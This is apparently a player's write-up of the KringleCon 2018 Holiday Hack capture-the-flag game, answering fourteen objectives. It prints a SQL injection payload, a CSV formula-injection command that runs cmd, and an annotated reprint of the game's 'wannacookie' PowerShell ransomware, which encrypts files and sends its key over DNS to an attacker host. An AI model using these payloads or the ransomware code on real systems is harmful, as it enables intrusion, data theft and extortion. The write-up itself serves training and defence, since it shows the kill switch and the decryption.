**Question 1:**

What phrase is revealed when you answer all of the KringleCon Holiday Hack History questions? *For hints on achieving this objective, please visit Bushy Evergreen and help him with the Essential Editor Skills Cranberry Pi terminal challenge.*

I played the last two years so only had to double check one or two:

**Answer: Happy Trails**

**Question 2:**
Who submitted (First Last) the rejected talk titled Data Loss for Rainbow Teams: A Path in the Darkness? Please analyze the CFP site to find out. *For hints on achieving this objective, please visit Minty Candycane and help her with the The Name GameCranberry Pi terminal challenge.*

**Answer:** By clicking the "apply now" on the main page then removing the cftp.html path you can see it is a browsable directory. There is a csv there named: rejected-talks.csv, looking there you can see the person in question is: **John McClane**

**Question 3:**

The KringleCon Speaker Unpreparedness room is a place for frantic speakers to furiously complete their presentations. The room is protected by a door passcode. Upon entering the correct passcode, what message is presented to the speaker? *For hints on achieving this objective, please visit Tangle Coalbox and help him with the Lethal ForensicELFication Cranberry Pi terminal challenge.*

**Answer:**
Searching on hint, found some other articles that discuss hacking keypads where no # or enter is applied. In this method, looking at worn down keys would indicate the length. Using the given hint, you are looking at 4*24=96. Looking for a shorter sequence:
https://alicebobandmallory.com/articles/2009/09/27/a-case-for-using-only-three-different-digits-in-keypad-codes

Tried:
1234 1231 4231 2431 2134 2132 4132 1432 1
Then went to this sequence and opened the door.
0 0 0 0 1 0 0 0 2 0 0 0 3 0 0 1 1 0 0 1 2 0 0 1 3 0 0 2 1 0 0 2 2 0 0 2 3 0 0 3 1 0 0 3 2 0 0 3 3 0 1 0 1 0 2 0 1 0 3 0 1 1 1 0 1 1 2 0 1 1 3 0 1 2 1 0 1 2 2 0 1 2 3 0 1 3 1 0 1 3 2 0 1 3 3 0 2 0 2 0 3 0

2 1 1 0 2 1 2 0 2 1 3 0 2 2 1 0 2 2 2 0 2 2 3 0 2 3 1 0 2 3 2 0 2 3 3 0 3 0 3 1 1 0 3 1 2 0 3 1 3 0 3 2 1 0 3 2 2 0 3 2 3 0 3 3 1 0 3 3 2 0 3 3 3 1 1 1 1 2 1 1 1 3 1 1 2 2 1 1 2 3 1 1 3 2 1 1 3 3 1 2 1 2 1 3 1 2 2 2 1 2 2 3 1 2 3 2 1 2 3 3 1 3 1 3 2 2 1 3 2 3 1 3 3 2 1 3 3 3 2 2 2 2 3 2 2 3 3 2 3 2 3 3 3 3

After entering the room, the message is: **Welcome unprepared speaker!**

**Question 4:**

Retrieve the encrypted ZIP file from the North Pole Git repository. What is the password to open this file? *For hints on achieving this objective, please visit Wunorse Openslae and help him with Stall Mucking Report Cranberry Pi terminal challenge*

**Answer:**
By using the hint for trufflehog with entropy=true, trufflehog --entropy=true https://git.kringlecastle.com/Upatree/santas_castle_automation: was able to find the password to the file: **Yippee-ki-yay**

**Question 5:**

Using the data set contained in this SANS Slingshot Linux image, find a reliable path from a Kerberoastable user to the Domain Admins group. What's the user's logon name (in username@domain.tld format)? Remember to avoid RDP as a control path as it depends on separate local privilege escalation flaws. *For hints on achieving this objective, please visit Holly Evergreen and help her with the CURLing Master Cranberry Pi terminal challenge*. **Answer:**
Used the built in tool Bloodhound to find the user. There is a pre-built query to find the shortest path to domain admins from Kerberoastable users. If you run that query and look at the shortest path here (minus rdp), it's easy to see the user is:
**LDUBEJ00320@AD.KRINGLECASTLE.COM**

**Question 6:**

Bypass the authentication mechanism associated with the room near Pepper Minstix. A sample employee badge is available. What is the access control number revealed by the door authentication panel? *For hints on achieving this objective, please visit Pepper Minstix and help her with the Yule Log Analysis Cranberry Pi terminal challenge.*
**Answer:** Found a site that could create qrcodes, which I started with '1=1 and saw it was different from the badge example. By playing around with diff statements and unions (and about a hundred qrcodes), finally got: abcd' and 1=2 union all select 'a','b',true FROM employees where 1 <> '. Which gave the code: **19880715**.

**Question 7:**

Santa uses an Elf Resources website to look for talented information security professionals. Gain access to the websiteand fetch the document `C:\candidate_evaluation.docx`. Which terrorist organization is secretly supported by the job applicant whose name begins with "K"? *For hints on achieving this objective, please visit Sparkle Redberry and help her with the Dev Ops FailCranberry Pi terminal challenge*.

**Answer**: By creating a csv file with injection commands in the field, I was able to move the file from the described path during upload. I used a variation of: “-cmd|' /C copy C:\candidate_evaluation.docx C:\careerportal\resources\public\j.txt’!A0",
Then navigating to the file I moved via the url, the csv was downloaded to give the answer: **Fancy Beaver.**

**Question 8**:

Santa has introduced a web-based packet capture and analysis tool to support the elves and their information security work. Using the system, access and decrypt HTTP/2 network activity. What is the name of the song described in the document sent from Holly Evergreen to Alabaster Snowball? *For hints on achieving this objective, please visit SugarPlum Mary and help her with the Python Escape from LA Cranberry Pi terminal challenge*.

**Answer**:
By first looking at the code you see app.js, which is the source code and helps reveal pathing related to dev and other items. By playing around with this, you can hit the root with valid and invalid names to see more pathing errors:
Since we know that on error we get:
https://packalyzer.kringlecastle.com/dev/test
Error: ENOENT: no such file or directory, open '/opt/http2/dev//test'
You can see that on using a valid variable as seen in the src code:
Sslkeylogfile: Error: ENOENT: no such file or directory, open '/opt/http2packalyzer_clientrandom_ssl.log/'
Matching those up, you can see that you need to hit the known filename off /dev:
https://packalyzer.kringlecastle.com/dev/packalyzer_clientrandom_ssl.log

This is keys needed to use in wireshark. By using these keys in wireshark, you can then decode the traffic and steal the cookies. By using edit this cookie in Chrome, I was able to pass those values until getting the correct one.

By looking at their saved captures, there is one available that contains smtp traffic. By following the stream in wireshark, you can see the email message and the base64 encoded attachment.

By taking that base64 and converting to a file, you get the name of the song: **Mary Had a Little Lamb.**

**Question 9:**

Alabaster Snowball is in dire need of your help. Santa's file server has been hit with malware. Help Alabaster Snowball deal with the malware on Santa's server by completing several tasks. *For hints on achieving this objective, please visit Shinny Upatree and help him with the Sleigh Bell Lottery Cranberry Pi terminal challenge*.
To start, assist Alabaster by accessing (clicking) the snort terminal below:
Then create a rule that will catch all new infections. What is the success message displayed by the Snort terminal?

**Answer**:
By looking at the traffic its very easy to see the very long hex values that stand out. I created a regex snort statement to identify this traffic. While that might have not been needed, it could have caught other activity from this malware:
alert udp any any -> any any ( msg:"ransomware detected"; pcre:"/[A-Fa-f0-9]{10,}/"; sid:1000001; rev:1; )

Which gives the message: **Snort is alerting on all ransomware and only the ransomware!**

**Question 10**:

After completing the prior question, Alabaster gives you a document he suspects downloads the malware. What is the domain name the malware in the document downloads from?
**Answer**:
I was able to use olevba to extract the vba macro which identified the domain as: **erohetfanu.com.** Also ran in an isolated env with fakedns to confirm.

**Question 11**:

Analyze the full malware source code to find a kill-switch and activate it at the North Pole's domain registrar HoHoHo Daddy.
What is the full sentence text that appears on the domain registration success message (bottom sentence)?

**Answer**:

This one gave me a bit of trouble at first until I found the part of the code responsible for the kill switch. I saw that the hex values being passed in the txt DNS record looking decoded to things like "killswitch".
This is the part of wanc that does that:

```
{$S1 =
"1f8b0800000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c100000
00";if ($null -ne ((Resolve-DnsName -Name $(H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B
$S1))) $(Resolve-DnsName -Server erohetfanu.com -Name
6B696C6C737769746368.erohetfanu.com -Type TXT).Strings))).ToString() -ErrorAction
0 -Server 8.8.8.8))) {return}
```

I used powershell ISE, found some of the values, specifically b1 and b2 during the running of the decode functions. By plugging those in and running each one manually in powershell, I was able to see its using the following as the kill switch:
**yippeekiyaa.aaay**

**Question 12**:

After activating the kill-switch domain in the last question, Alabaster gives you a zip file with a memory dump and encrypted password database. Use these files to decrypt Alabaster's password database. What is the password entered in the database for the Vault entry?
**Answer**:
This one was much harder. I used the hex in the wireshark capture and dumped all of the hex, then convert to ascii to get the raw code.
Before I could figure anything out, I had to understand the code forwards and

backwards. I used powershell ISE and set many breakpoints to see which part did what and how everything worked. Here is a breakdown with my comments. Note, some items are still commented out from my final analysis.

```
 $functions = {

#This is the main crypt/decrypt function.. $key = unique system key, $file=file list, $enc_it either true/false. All of this is called by e_n_d and will encrypt
if “true”, and decrypt if “false”
function e_d_file{param($key, $File, $enc_it);
#All setup to use the public key to encrypt the elfdb files.
  [byte[]]$key = $key;$Suffix = "`.";[System.Reflection.Assembly]::LoadWithPartialName('System.Security.Cryptography');
  [System.Int32]$KeySize = $key.Length*8;
  $AESP = New-Object 'System.Security.Cryptography.AesManaged';
  $AESP.Mode = [System.Security.Cryptography.CipherMode]::CBC;
  $AESP.BlockSize = 128;
  $AESP.KeySize = $KeySize;
  $AESP.Key = $key;
  $FileSR = New-Object System.IO.FileStream($File, [System.IO.FileMode]::Open);
  #if value true encrypt/otherwise decrypt
  if ($enc_it) {$DestFile = $File + $Suffix} else {$DestFile = ($File -replace $Suffix)};
    $FileSW = New-Object System.IO.FileStream($DestFile, [System.IO.FileMode]::Create);
  #encrypt
  if ($enc_it) {
    $AESP.GenerateIV();
    $FileSW.Write([System.BitConverter]::GetBytes($AESP.IV.Length), 0, 4);
    $FileSW.Write($AESP.IV, 0, $AESP.IV.Length);
    $Transform = $AESP.CreateEncryptor()}

  #decrypt
  else {[Byte[]]$LenIV = New-Object Byte[] 4;
    $FileSR.Seek(0, [System.IO.SeekOrigin]::Begin) | Out-Null;
    $FileSR.Read($LenIV, 0, 3) | Out-Null;[Int]$LIV = [System.BitConverter]::ToInt32($LenIV, 0);
    [Byte[]]$IV = New-Object Byte[] $LIV;
    $FileSR.Seek(4, [System.IO.SeekOrigin]::Begin) | Out-Null;
    $FileSR.Read($IV, 0, $LIV) | Out-Null;$AESP.IV = $IV;
    $Transform = $AESP.CreateDecryptor()};
    $CryptoS = New-Object System.Security.Cryptography.CryptoStream($FileSW, $Transform,
[System.Security.Cryptography.CryptoStreamMode]::Write);
    [Int]$Count = 0;
    [Int]$BlockSzBts = $AESP.BlockSize / 8;
    [Byte[]]$Data = New-Object Byte[] $BlockSzBts;
    Do {$Count = $FileSR.Read($Data, 0, $BlockSzBts);
      $CryptoS.Write($Data, 0, $Count)}
      While ($Count -gt 0);
        $CryptoS.FlushFinalBlock();
        $CryptoS.Close();
        $FileSR.Close();
        $FileSW.Close();
        Clear-variable -Name "key";
        Remove-Item $File
}};

#Hex to Byte conversion function
function H2B {param($HX);$HX = $HX -split '(..)' | ? { $_ };ForEach ($value in $HX){[Convert]::ToInt32($value,16)}};
#Ascii to hex function
function A2H(){Param($a);$c = '';$b = $a.ToCharArray();;Foreach ($element in $b) {$c = $c + " " + [System.String]::Format("{0:X}",
[System.Convert]::ToUInt32($element))};return $c -replace ' '};
#Hex to ascii function
function H2A() {Param($a);$outa;$a -split '(..)' | ? { $_ } | forEach {[char]([convert]::toint16($_,16))} | forEach {$outa = $outa + $_};return $outa};
#Byte to Hex conversion
function B2H {param($DEC);$tmp = '';ForEach ($value in $DEC){$a = "{0:x}" -f [Int]$value;if ($a.length -eq 1){$tmp += '0' + $a} else {$tmp +=
$a}};return $tmp};
```

```
#Function to create the killswitch domain, by using other conversion and BXOR.
function ti_rox {param($b1, $b2);$b1 = $(H2B $b1);$b2 = $(H2B $b2);$cont = New-Object Byte[] $b1.count;if ($b1.count -eq $b2.count) {for($i=0; $i -lt
$b1.count ; $i++) {$cont[$i] = $b1[$i] -bxor $b2[$i]}};return $cont};function B2G {param([byte[]]$Data);Process {$out =
[System.IO.MemoryStream]::new();$gStream = New-Object System.IO.Compression.GzipStream $out,
([IO.Compression.CompressionMode]::Compress);$gStream.Write($Data, 0, $Data.Length);$gStream.Close();return $out.ToArray()}};
#Gzip to Bytearray conversion
function G2B {param([byte[]]$Data);Process {$SrcData = New-Object System.IO.MemoryStream( , $Data );$output = New-Object
System.IO.MemoryStream;$gStream = New-Object System.IO.Compression.GzipStream $SrcData,
([IO.Compression.CompressionMode]::Decompress);$gStream.CopyTo( $output );$gStream.Close();$SrcData.Close();[byte[]] $byteArr =
$output.ToArray();return $byteArr}};
#sha1 hash function
function sh1([String] $String) {$SB = New-Object
System.Text.StringBuilder;[System.Security.Cryptography.HashAlgorithm]::Create("SHA1").ComputeHash([System.Text.Encoding]::UTF8.GetBytes($S
tring))|%{[Void]$SB.Append($_.ToString("x2"))};$SB.ToString()};
#used to take the random generated unique key and use the public cert to encrypt for sending to attacker.
function p_k_e($key_bytes, [byte[]]$pub_bytes){$cert = New-Object -TypeName
System.Security.Cryptography.X509Certificates.X509Certificate2;$cert.Import($pub_bytes);$encKey = $cert.PublicKey.Key.Encrypt($key_bytes,
$true);$before = $encKey;return $(B2H $encKey)};


#setup for crypt/decrypt
function e_n_d {
    param($key, $allfiles, $make_cookie );
    $tcount = 12;
    for ( $file=0; $file -lt $allfiles.length; $file++ ) {
        while ($true) {$running = @(Get-Job | Where-Object { $_.State -eq 'Running' });
        if ($running.Count -le $tcount)
{
Start-Job -ScriptBlock {param($key, $File, $true_false);
        try{
           #crytp/decrypt function
           e_d_file $key $File $true;
 }
           #error handling
           #catch {$_.Exception.Message | Out-String | Out-File $($env:userprofile+'\Desktop\ps_log.txt') -append}} -args $key, $allfiles[$file],
$make_cookie -InitializationScript $functions;break}
    }else {Start-Sleep -m 200;continue}}};
#used for calling DNS txt record lookups using attackers DNS server.
function g_o_dns($f) {$h = '';foreach ($i in 0..([convert]::ToInt32($(Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type
TXT).Strings, 10)-1)) {$h += $(Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).Strings};return (H2A $h)};
#string to chunk function
function s_2_c($astring, $size=32) {$new_arr = @();$chunk_index=0;foreach($i in 1..$($astring.length / $size)) {$new_arr +=
@($astring.substring($chunk_index,$size));$chunk_index += $size};return $new_arr};
#send encrypted unique key to attacker
function snd_k($enc_k) {$chunks = (s_2_c $enc_k );foreach ($j in $chunks) {if ($chunks.IndexOf($j) -eq 0) {$n_c_id = $(Resolve-DnsName -Server
erohetfanu.com -Name "$j.6B6579666F72626F746964.erohetfanu.com" -Type TXT).Strings} else {$(Resolve-DnsName -Server erohetfanu.com
-Name "$n_c_id.$j.6B6579666F72626F746964.erohetfanu.com" -Type TXT).Strings}};return $n_c_id};

function wanc {

#killswitch
#$S1 = "1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000";

#if ($null -eq ((Resolve-DnsName -Name $(H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(6666727272786965726866786566B73)))
#{return};

#check to make sure right system (kringlecastle) and not already running via netstat, exit if already running or not right system
#if ($(netstat -ano | Select-String "127.0.0.1:8080").length -ne 0 -or (Get-WmiObject Win32_ComputerSystem).Domain -ne "KRINGLECASTLE")
{return};

#get public server.crt file
$p_k = [System.Convert]::FromBase64String($(g_o_dns("7365727665722E637274") ) );

#gen random unique key
$b_k = ([System.Text.Encoding]::Unicode.GetBytes($(([char[]]([char]01..[char]255) + ([char[]]([char]01..[char]255)) + 0..9 | sort {Get-Random})[0..15]
-join '')) | ? {$_ -ne 0x00});

#convert unique key to hex
$h_k = $(B2H $b_k);

#hash unique key
$k_h = $(sh1 $h_k);

#encypt unique key with pub cert


#send said encrypted unique key to attacker
$c_id = (snd_k $p_k_e_k);

$d_t = (($(Get-Date).ToUniversalTime() | Out-String) -replace "`r`n");

#find only elfdb files for encryption in the listed user directories
[array]$f_c = $(Get-ChildItem *.elfdb -Exclude *.wannacookie -Path
$($($env:userprofile+'\Desktop'),$($env:userprofile+'\Documents'),$($env:userprofile+'\Videos'),$($env:userprofile+'\Pictures'),$($env:userprofile+'\Musi
c')) -Recurse | where { ! $_.PSIsContainer } | Foreach-Object {$_.Fullname});

#encrypt with unique key
e_n_d $b_k $f_c $false;


#clear orig and hex of unique key
Clear-variable -Name "h_k";
Clear-variable -Name "b_k";


#setup for local page
$lurl = 'http://127.0.0.1:8080/';
$html_c = @{'GET /' = $(g_o_dns (A2H "source.min.html"));'GET /close' = '<p>Bye!</p>'};
Start-Job -ScriptBlock{param($url);Start-Sleep 10;Add-type -AssemblyName System.Windows.Forms;
start-process "$url" -WindowStyle Maximized;Start-sleep 2;
[System.Windows.Forms.SendKeys]::SendWait("{F11}")} -Arg $lurl;
$list = New-Object System.Net.HttpListener;$list.Prefixes.Add($lurl);
$list.Start();
#try {$close = $false;while ($list.IsListening) {$context = $list.GetContext();$Req = $context.Request;$Resp = $context.Response;$recvd = '{0} {1}' -f
$Req.httpmethod, $Req.url.localpath;

#decrypt if correct value, scrape key value from page. unique key decoded from attacker
#if ($recvd -eq 'GET /') {$html = $html_c[$recvd]} elseif ($recvd -eq 'GET /decrypt') {$akey = $Req.QueryString.Item("key");

#check unique key hash value to ensure correct
#if ($k_h -eq $(sh1 $akey))

#convert key
$akey = $(H2B $akey);

#find files to decrypt
 [array]$f_c = $(Get-ChildItem -Path $($env:userprofile) -Recurse -Filter *.wannacookie | where { ! $_.PSIsContainer } | Foreach-Object {$_.Fullname});

#decrypt
e_n_d $akey $f_c $false;
$html = "Files have been decrypted!";}
#call main wanc function that does all work
wanc;
```

Now that we have the code analysis out of the way, we need a few items. We need to use powerdump to look for items in memory. Now it would be nice if the attacker didn't clear the unique key and hex conversion of that key used for encryption (b_k/h_k), however if you follow the code you can see that the value is passed somewhere else as well. It is also used in p_k_e_k (encrypted with public cert) and sent to the attacker. Then if the ransom is paid, the attacker would use their private key to decrypt, send back to the local page of the user, where the malware scrapes the key and decrypts. So two things were found with powerdump. One being the sha1 hash of the key, the other would be p_k_e_k, which after doing some testing was found to be a 512 character value. Using: matches "^[a-fA-F0-9]+$", then len==512, one match is found:

```
3cf903522e1a3966805b50e7f7dd51dc7969c73cfb1663a75a56ebf4aa4a1849d1949005
437dc44b8464dca05680d531b7a971672d87b24b7a6d672d1d811e6c34f42b2f8d7f2b4
3aab698b537d2df2f401c2a09fbe24c5833d2c5861139c4b4d3147abb55e671d0cac709d
1cfe86860b6417bf019789950d0bf8d83218a56e69309a2bb17dcede7abfffd065ee0491b
379be44029ca4321e60407d44e6e381691dae5e551cb2354727ac257d977722188a946
c75a295e714b668109d75c00100b94861678ea16f8b79b756e45776d29268af1720bc49
995217d814ffd1e4b6edce9ee57976f9ab398f9a8479cf911d7d47681a77152563906a2c
29c6d12f971
```

Next, that sha1 value would be nice to have just to verify we were able to decrypt the key before trying to decrypt files. To do that, we run, matches "^[a-fA-F0-9]+$" with len ==40, since sha1 hashes are 40 chars. One result is found: b0e59a5e0f00968856f22cff2d6226697535da5b.

Now the only other thing we need is a private key. We keep seeing the malware using hex encoded values with DNS txt record lookups for communication. We saw server.crt, so lets try server.key. It returns a hex value that decodes to:

```
-----BEGIN RSA PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDEiNzZVUbXCbM
G
L4sM2UtilR4seEZli2CMoDJ73qHqI+tSpwtK9y4L6znLDLWSA6uvH+lmHhhep9ui
W3vvHYCq+Ma5EljBrvwQy0e2Cr/qeNBrdMtQs9KkxMJAz0fRJYXvtWANFJF5A+Nq
jI+jdMVtL8+PVOGWp1PA8DSW7i+9eLkqPbNDxCfFhAGGlHEU+cH0CTob0SB5Hk0S
TPUKKJVc3fsD8/t60yJThCw4GKkRwG8vqcQCgAGVQeLNYJMEFv0+WHAt2WxjWTu3
HnAfMPsiEnk/y12SwHOCtaNjFR8Gt512D7idFVW4p5sT0mrrMiYJ+7x6VeMIkrw4
tk/1ZlYNAgMBAAECggEAHdIGcJOX5Bj8qPudxZ1S6uplYan+RHoZdDz6bAEj4Eyc
0DW4aO+IdRaD9mM/SaB09GWLLIt0dyhRExl+fJGlbEvDG2HFRd4fMQ0nHGAVLqaW
OTfHgb9HPuj78ImDBCEFaZHDuThdulb0sr4RLWQScLbIb58Ze5p4AtZvpFcPt1fN
6YqS/y0i5VEFROWuldMbEJN1x+xeiJp8uIs5KoL9KH1njZcEgZVQpLXzrsjKr67U
3nYMKDemGjHanYVkF1pzv/rardUnS8h6q6JGyzV91PpLE2I0LY+tGopKmuTUzVOm
```

```
Vf7sl5LMwEss1g3x8gOh215Ops9Y9zhSfJhzBktYAQKBgQDI+w+KfSb3qZREVvs9
uGmaIcj6Nzdzr+7EBOWZumjy5WWPrSe0S6Ld4ITcFdaXolUEHkE0E0j7H8M+dKG2
Emz3zaJNiAIX89UcvelrXTV00k+kMYItvHWchdiH64EOjsWrc8co9WNgK1XlLQtG
4iBpErVctbOcjJlzv1zXgUiyTQKBgQDaxRoQolzgjEIDG/T3VsC81jO6jdatRpXB
0URM8/4MB/vRAL8LB834ZKhnSNyzgh9N5G9/TAB9qJJ+4RYlUUOVIhK+8t863498
/P4sKNlPQio4Ld3lfnT92xpZU1hYfyRPQ29rcim2c173KDMPcO6gXTezDCa1h64Q
8iskC4iSwQKBgQCvwq3f40HyqNE9YVRlmRhryUl1qBli+qP5ftySHhqy94okwerE
KcHw3VaJVM9J17Atk4m1aL+v3Fh01OH5qh9JSwitRDKFZ74JV0Ka4QNHoqtnCsc4
eP1RgCE5z0w0efyrybH9pXwrNTNSEJi7tXmbk8azcdIw5GsqQKeNs6qBSQKBgH1v
sC9DeS+DIGqrN/0tr9tWklhwBVxa8XktDRV2fP7XAQroe6HOesnmpSx7eZgvjtVx
moCJympCYqT/WFxTSQXUgJ0d0uMF1IcbFH2relZYoK6PlgCFTn1TyLrY7/nmBKKy
DsuzrLkhU50xXn2HCjvG1y4BVJyXTDYJNLU5K7jBAoGBAMMxIo7+9otN8hWxnqe4
Ie0RAqOWkBvZPQ7mEDeRC5hRhfCjn9w6G+2+/7dGlKiOTC3Qn3wz8QoG4v5xAqXE
JKBn972KvO0eQ5niYehG4yBaImHH+h6NVBlFd0GJ5VhzaBJyoOk+KnOnvVYbrGBq
UdrzXvSwyFuuIqBlkHnWSIeC
-----END RSA PRIVATE KEY-----
```

The only last thing we need to do is make the crt and private key into a pfx cert using openssl, then import into the windows certificate store.

Then within the code it can be loaded via:

```
$cert1 = Get-ChildItem Cert:\LocalMachine\My\B1D1E73DCBFFBD458B341A6E8AED3549A81077D6
```

And we can work backwards through:

```
function p_k_e($key_bytes, [byte[]]$pub_bytes){$cert = New-Object -TypeName
System.Security.Cryptography.X509Certificates.X509Certificate2;$cert.Import($pub_bytes);$encKey = $cert.PublicKey.Key.Encrypt($key_bytes,
$true);$before = $encKey;return $(B2H $encKey)};
```

So first take the encoded key, and instead of B2H, use H2B:

```
function H2B {param($HX);$HX = $HX -split '(..)' | ? { $_ };ForEach ($value in $HX){[Convert]::ToInt32($value,16)}};
```

Then take the cert from the previous step and decrypt:

```
PS C:\Users\REM> $DecryptedBytes = $Cert.PrivateKey.Decrypt($EncryptedBytes, $true)
```

We now have a byte rep and after conv a hex rep of the key:

Hex: fbcfc121915d99cc20a3d3d5d84f8308

```
[DBG]: PS C:\Users\REM>> $decbytes
251
207
 193
33
 145
93
 153
204
32
 163
211
213
216
79
 131
8
```

Just to make sure we have the right key,,,lets sha1 hash that hex value,,,bingo: B0E59A5E0F00968856F22CFF2D6226697535DA5B, they match.

Now we have everything we need, so let's go ahead and decrypt the file. I don’t need the whole script, so just pulled out the important part and let it run with correct passed values:

```
function H2B {param($HX);$HX = $HX -split '(..)' | ? { $_ };ForEach ($value in $HX){[Convert]::ToInt32($value,16)}};

function letsdothis {param($key);

$File = "C:\Users\REM\Desktop\alabaster_passwords.elfdb.wannacookie";
$enc_it = $false


[byte[]]$key = $key;$Suffix = "`.";[System.Reflection.Assembly]::LoadWithPartialName('System.Security.Cryptography');

    [System.Int32]$KeySize = $key.Length*8;

    $AESP = New-Object 'System.Security.Cryptography.AesManaged';
    $AESP.Mode = [System.Security.Cryptography.CipherMode]::CBC;
    $AESP.BlockSize = 128;

    $AESP.KeySize = $KeySize;

    $AESP.Key = $key;

    $FileSR = New-Object System.IO.FileStream($File, [System.IO.FileMode]::Open);

   #if value true encrypt/otherwise decrypt
    if ($enc_it) {$DestFile = $File + $Suffix} else {$DestFile = ($File -replace $Suffix)};

        $FileSW = New-Object System.IO.FileStream($DestFile, [System.IO.FileMode]::Create);
   #encrypt
    if ($enc_it) {
        $AESP.GenerateIV();
        $FileSW.Write([System.BitConverter]::GetBytes($AESP.IV.Length), 0, 4);
        $FileSW.Write($AESP.IV, 0, $AESP.IV.Length);
        $Transform = $AESP.CreateEncryptor()}

   #decrypt
    else {[Byte[]]$LenIV = New-Object Byte[] 4;
        $FileSR.Seek(0, [System.IO.SeekOrigin]::Begin) | Out-Null;
        $FileSR.Read($LenIV, 0, 3) | Out-Null;[Int]$LIV = [System.BitConverter]::ToInt32($LenIV, 0);
        [Byte[]]$IV = New-Object Byte[] $LIV;
        $FileSR.Seek(4, [System.IO.SeekOrigin]::Begin) | Out-Null;
        $FileSR.Read($IV, 0, $LIV) | Out-Null;$AESP.IV = $IV;
        $Transform = $AESP.CreateDecryptor()};
        $CryptoS = New-Object System.Security.Cryptography.CryptoStream($FileSW, $Transform,
[System.Security.Cryptography.CryptoStreamMode]::Write);
        [Int]$Count = 0;
        [Int]$BlockSzBts = $AESP.BlockSize / 8;
        [Byte[]]$Data = New-Object Byte[] $BlockSzBts;
        Do {$Count = $FileSR.Read($Data, 0, $BlockSzBts);
            $CryptoS.Write($Data, 0, $Count)}
            While ($Count -gt 0);
                $CryptoS.FlushFinalBlock();
                $CryptoS.Close();
                $FileSR.Close();
                $FileSW.Close();
                Clear-variable -Name "key";
                Remove-Item $File
}

$decoded = "fbcfc121915d99cc20a3d3d5d84f8308";
$key = $(H2B $decoded);

letsdothis $key;
```

Sweet,,,file has been decrypted. We know it's some sort of database, so let's check the header in a text editor. It shows slqlite, so to make things more readable, I downloaded a free program, DB Browser for SQlite. Then in there you can see the vault password along with some other fun ones: **ED#ED#EED#EF#G#F#G#ABA#BA#B**
Phew, well that was fun! Not going to lie, was driving the struggle bus for a bit on that one.

**Question 13**:

Use what you have learned from previous challenges to open the door to Santa's vault. What message do you get when you unlock the door?

**Answer**: So this one is pretty easy and thank goodness since I'm tired from the last one. The hint is that the song is in the key of E and should be D. Found multiple charts online to do this conversion such as: https://www.pianoscales.org/transposing.html.

We get the new keys of: DC#DC#DDC#DEF#EF#GAG#AG#A. Enter those on the door and get the needed message of: **You have unlocked Santa's vault!**

**Question 14**:

Who was the mastermind behind the whole KringleCon plan?

**Answer: Santa**, as seen from the previous explanation:

*You DID IT! You completed the hardest challenge. You see, Hans and the soldiers work for ME. I had to test you. And you passed the test!*

*You WON! Won what, you ask? Well, the jackpot, my dear! The grand and glorious jackpot!*

*You see, I finally found you!*
*I came up with the idea of KringleCon to find someone like you who could help me defend the North Pole against even the craftiest attackers.*

*That’s why we had so many different challenges this year. We needed to find someone with skills all across the spectrum.*

*I asked my friend Hans to play the role of the bad guy to see if you could solve all those challenges and thwart the plot we devised.*

*And you did!*

*Oh, and those brutish toy soldiers? They are really just some of my elves in disguise.*

*See what happens when they take off those hats?*